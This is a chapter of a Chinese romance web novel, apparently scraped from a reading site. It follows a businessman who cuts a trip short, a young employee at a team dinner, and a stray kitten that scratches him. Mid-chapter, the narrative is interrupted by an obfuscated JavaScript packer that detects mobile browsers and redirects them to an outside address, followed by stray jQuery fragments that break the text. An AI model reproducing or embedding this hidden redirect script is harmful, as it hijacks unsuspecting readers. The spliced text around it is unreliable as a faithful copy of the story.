13. 补偿

作品:《夜色流淌

    温丝雨抬眸看了眼镜中自己红扑扑的脸颊,拿起电话几番确认的确是断线了,才重新站到了花洒下。


    此时此刻何煦站在酒店的露台上,手撑着栏杆,背对着灯火璀璨的宴会大厅,望着不远处隐在夜色中的海岸,任咸腥的海风吹拂衣角,唇角在夜色中几不可察地上扬。


    原来家里有个女人是这样的滋味,好像,还不赖。


    出差三亚的最后一天,他吩咐助理方逸将原定晚上七点从三亚起飞的机票改到了下午两点四十,并订了餐厅的双人位。


    并且在上午接受某财富杂志时长一个多小时的访谈后,紧接着又约见了国内某大型商超的运营总监,与其签订了新一年的分销合作协议。


    最后在飞机起飞前的一个小时,在机场附近的咖啡厅里约见了专注于“新国潮风”设计的年轻艺术家百川,双方达成了进一步合作的意愿。


    临行前百川本想尽地主之谊邀请他吃当地最有名的椰子鸡,被他婉言谢绝了。


    分别前百川有些不解地问方逸:“明天星期六,Chris为何要急着现在就走?你们好不容易来趟三亚,怎么不趁着周末晒晒日光浴,好好放松放松?”


    方逸悄悄看了眼坐上车的老板,无奈耸耸肩,同他小声嘀咕:“大概是想早些回去陪夫人过周末吧。”


    百川微微有些诧异地睁大了眼:“这样啊,Chris和夫人的感情可真好。请转告夫人,下回要是能一起来,我帮你们定三亚最好的海景房,请你们吃海南最地道的椰子鸡。”


    周五晚上六点半,何煦放了方逸假,亲自将车开到公司楼下,打温丝雨电话没人接。


    在楼下等了半个小时,直到看见市场部所在楼层灯都熄了,径直掉头将车开回了郦新天地。


    打开门一团毛茸茸的东西朝他扑了过来,脖子上传来一阵刺痛。


    他垂下头看着卧在地上的那团东西。


    一只白底背上头上有黑色斑点的牛奶猫,巴掌大小。


    此时正卧在地毯上虎视眈眈地盯着他,喉咙里发出呼噜呼噜的响声。


    他垂头看了眼倒在地上的花瓶和沙发上踩出来的猫爪印,不禁在心底冷笑一声。


    “很好,比你的主人嚣张。”


    弯腰将猫拎起来关回阳台上,继续给温丝雨打电话,依旧没人接。


    不多时助理方逸的电话打进来:“老板,忘了告诉您,市场部那边今晚好像有聚餐,餐厅那边还去吗?”


    这一周老板们都不在,市场部难得下了个早班。


    晚上六点,大家准时打卡下班,从公司打车去了附近的一家粤菜馆。


    排了一个多小时的队终于轮到他们了。


    一群不到三十的年轻人坐在一起,点了一桌子菜,吃吃喝喝,叽叽喳喳,吐槽完公司吐槽老板,聊完工作聊感情。


    席间有人提议玩儿真心话大冒险。


    酒瓶口转向温丝雨,有人看了眼Ryan,发出暧昧的笑,径直问她:“温温,喜欢什么样的男生啊?”


    温丝雨脸唰地涨红了,慌忙端起面前的酒杯。


    “我……我选大冒险。”


    Ryan抢过她面前的酒杯一饮而尽:“这杯我帮她喝。”


    Chloe跟着同事们在一旁起哄,温丝雨的脸更红了。


    谁都没有注意到Kelly脸色有些难看。


    这晚温丝雨运气实在有些差,两次三番轮到她。


    同事们又接连问了她一些私密问题。


    “公司里有你喜欢的类型吗?”


    “初吻是在什么时候?”


    提到初吻,温丝雨脑中浮现那个略微有些混乱的夜晚,想到他家的沙发,羞得满面通红,支支吾吾敷衍过去。


    直到晚上十点,这顿饭才临近尾声。


    Chloe拽着温丝雨去洗手间补妆,回来时Kelly拿着她的电话道:“你手机响了半天了,来电显示大写的C,这谁呀?你男朋友吗?”


    Ryan喝了不少酒,闻言神情紧张地看向她。


    温丝雨心头咯噔一下,接过手机看了眼,大写字母C,未接来电10!


    Chloe没好气地朝Kelly翻了个白眼:“瞎说什么呢?人温温哪来的男朋友?”


    Kelly不甘示弱:“不是男朋友,深更半夜的,谁还夺命连环call啊?”


    温丝雨白着脸胡乱解释了一句:“是……是我的房东,他……姓陈,那个我先去回个电话。”


    言罢独自跑到无人的角落里回电话。


    “在哪儿?”


    电话那头传来略带着几分愠怒的声音,温丝雨感觉后背一凉,有些心虚地回头瞄了一眼,立即报了个名字。


    刚想再解释几句,刚才聚会太吵了,自己不是故意不接电话的,就听他说了句:“原地等着”,随即挂断了电话。


    温丝雨被他那句原地等着惊得心惊肉跳,老板的意思是他会过来接她吗?


    按照原定时间,他7点从三亚起飞,这个点应该刚到不久。


    她有些担心会被同事看见,只好回头对等在不远处的三人编造了个理由。


    “那个,我室友在附近,约我一块儿回。要不,你们先走?”


    Ryan有些不放心大晚上的留她一个女孩子独自在街边。


    “大晚上的,你一个女孩子多不安全啊。我离得近,我陪你再等等。”


    “谢谢,不用了,这里人挺多的。她很快就到……”


    温丝雨婉言谢绝,Ryan坚持要陪她等。


    他不走,Kelly也不肯走。


    Chloe打的车先过来了,以顺路为由强行拽了Kelly上车。


    最后同事们都相继离开了,餐厅门口只剩下温丝雨和Ryan两个人了。


    温丝雨席上玩游戏输了,喝了几杯酒,此刻脸有些红红的。


    Ryan比她喝得更多,脸更红。


    Ryan是广州本地人,186+身材、小麦色肌肤,饶是穿着一身刻板严肃的西服,也透着一股掩饰不住健康阳光的少年气。


    温丝雨呢,皮肤白皙,身量窈窕,骨子里有西南女孩儿的温婉秀丽。


    一对俊男靓女,就这样站在深夜10点的街头,青涩养眼,引得路人频频回头。


    Ryan热情洋溢,向温丝雨介绍着广州本地特色菜和好玩的地方,问她粤菜吃不吃得惯,下次要不要一起去川菜馆。


    温丝雨表面上维持着淡定,礼貌应答,其实内心早就慌了。


    既害怕同事看到自己上了老板的车,又害怕老板看到自己深更半夜跟另一个男人站在一起。


    她绞尽脑汁找了许多借口,仍然不能说服Ryan先行离去。


    两个人站在街头等了约莫一刻钟,温丝雨都有些想随便拦下一辆车先回去了。


    中学生踩着滑板路过,险些撞到她,Ryan伸手扶了一把。


    “没事吧?”


    “嗯。”


    温丝雨摇摇头,就在这档口上听见身后有人按喇叭,慌忙回头只见一辆黑色的轿车缓缓停在了面前,看车牌号正是何煦的另一辆车。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943677|160620||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她忍不住胸口一阵突突直跳,作贼心虚似的从Ryan的手中挣脱出来。


    车窗缓缓降下,露出一张熟悉的面孔。


    “方特助?!你怎么……”


    天知道她刚才险些被吓到心梗。


    “Hi,两位,好巧。”


    方逸将车停在路边,从车窗里探出头笑吟吟同他二人打招呼。


    “去哪儿?上车,我捎你一程。”


    后面这句是对Ryan说的,Ryan本想婉言谢绝。


    温丝雨眼角余光瞥见停在不远处的黑色SUV,连忙道:“我朋友到了,就在后面。Ryan再见,方特助再见!”


    言罢头也不回地朝着后面的SUV小跑过去。


    温丝雨打开车门,坐上他的副驾,系上安全带,所有动作一气呵成。


    微微喘息着转头看向坐在驾驶座上的男人,只见他沉着一张脸,双眼目视前方,身上的黑西装依旧端正笔直,白衬衫领口解开了两颗,露出几道鲜红的血印子!


    “您脖子上怎么受伤了?”


    她惊诧地瞪大了眼。


    他回头,黑沉沉的一双眼似笑非笑地看了她一眼,将车开了出去。


    “你养的猫比你胆子大。”


    看着他脖子上那几道鲜红的血印子,温丝雨只感觉触目惊心,两只手紧紧抓着安全带。


    “对不起,我……我已经带它做过全身检查,打过疫苗了。不过,保险起见,您最好也去打一针。”


    “不是说隔天就送走吗?怎么还在?”


    “对不起,我……我还没替它找到适合的下家。”


    “好了,最迟明天,赶紧将那东西从家里弄出去。再找人好好将房子从里到外打扫一遍。”


    温丝雨捡回来的猫抓伤了家里的主人,没有当场将它丢出去已经算得上他仁慈了。


    她不敢再跟他讨价还价,两个人就此达成了阶段性的共识。


    她立刻从相册里数百张小猫照片里挑出最可爱最憨态可掬的几张发到网上,问是否有人愿意领养。


    然后催促他去最近的医院简单处理了下脖子上的伤,打了狂犬疫苗。


    两个人从医院出来时突然狂风大作,很快就下起了雨。


    何煦叫她等在原处,独自冲进雨里将停在路边的车开了过来。


    好在医院离他家并不远,两个人很快就回了家。


    温丝雨进门,弯腰换鞋,玄关处的感应灯自动亮了起来。


    男人的气息很快逼近,带着微微的潮气将她的身影拢入其中。


    门在身后快速合上,她手里拎着一只鞋匆忙起身,单腿向后跳了一步,试图避让,一回头就看见他将沾了雨水的西装外套脱了下来,随手抹了一把头发上的水珠。


    他向前,她向后。


    两个人离得那样近,她的脸几乎快要贴上他的胸口,她甚至可以清清楚楚看见水珠随着他轮廓分明的下巴滴落进他的衬衫领口。


    这样的情形叫温丝雨莫名有些耳热。


    她垂下头,屏住呼吸,胸口起伏,红着脸低声道:“您……您先进去。”


    何煦垂下眼,视线从她微红的面颊,敞开的领口一路辗转,最终落在她上下起伏的胸口。


    她胸口处的白衬衫被雨水打湿了,黏黏腻腻粘在身上,透出一片若隐若现的好看弧度。


    他的眼神逐渐转为幽深,随手将外套抛到了沙发上,将人打横抱了起来。


    “为你我推掉了一整个下午的行程,足足等了你三个小时,还被你的猫抓伤了。该怎么补偿我?”